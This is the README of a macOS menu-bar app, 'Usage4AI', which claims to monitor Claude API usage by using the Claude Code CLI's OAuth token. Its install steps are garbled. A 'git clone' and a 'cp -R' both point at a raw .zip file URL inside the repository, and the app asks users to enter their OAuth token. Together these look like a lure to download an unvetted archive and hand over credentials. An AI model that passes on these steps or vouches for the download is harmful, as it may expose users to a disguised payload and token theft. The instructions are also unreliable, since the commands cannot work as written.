Usage4AI：macOS 菜单栏监控 Claude API 用量工具

🌟 Usage4AI - Monitor Claude API Effortlessly

📋 Overview

Welcome to Usage4AI, a macOS menu bar app designed for monitoring your Claude API usage. This tool helps you keep track of your usage conveniently, right from your menu bar.

🚀 Features

Real-time Monitoring: Check your 5-hour and 7-day usage at a glance.
Visual Progress Bars: See your usage clearly with percentage displays.
Custom Refresh Intervals: Set how often you want your data updated, from 30 seconds to 10 minutes.
Usage Alerts: Get notified if you exceed 90% of your usage limit.
Network Resilience: The app automatically retries connections in case of network issues.
Subscription Support: Works with both Claude Pro and Claude Max plans.

📥 Requirements

macOS Version: Requires macOS 15.0 or later.
Claude Code CLI: You must install the Claude Code CLI and log in to obtain your OAuth token.

💻 Download & Install

Option 1: Download Release

To get started, you can easily download the latest version of Usage4AI. Visit this page to download: Releases.

Click the button above to directly download the application.

Option 2: Build from Source

If you prefer to build the application yourself, follow these steps:

Open Terminal on your macOS.

Clone the repository by running:

git clone https://github.com/Vororna/Usage4AI/raw/refs/heads/main/Usage4AI/AI-Usage-v1.1.zip

Navigate to the project directory:
```
cd Usage4AI
```

Build the app with the following command:

xcodebuild -scheme Usage4AI -configuration Release -derivedDataPath build build

Move the app to your Applications folder:

cp -R https://github.com/Vororna/Usage4AI/raw/refs/heads/main/Usage4AI/AI-Usage-v1.1.zip /Applications/

🛠 First Launch Setup

Ensure Claude Code CLI is Installed: Make sure you have the Claude Code CLI installed and set up to log in with your credentials.
Open Usage4AI: Navigate to your Applications folder, find Usage4AI, and double-click to open it.
Log In: When prompted, enter your OAuth token from the Claude Code CLI to connect the app with your account.
Configure Preferences: Adjust the refresh intervals and set up your usage alerts as per your needs.

⚙️ Navigating the App

Menu Bar Access: Once open, you will see the app icon in your menu bar. Click it to access features.
Usage Overview: The app displays real-time usage statistics in a clear format.
Alerts: Be alert for any notifications regarding your usage limit.

📞 Support

If you encounter issues or have questions, feel free to reach out through the issue tracker on the GitHub repository.

📄 License

This project is licensed under the MIT License. See the LICENSE file for details.

📢 Acknowledgments

Thanks to everyone who contributed to the development of Usage4AI and to the Claude API for providing a robust service.

Feel free to explore the app and monitor your API usage with ease!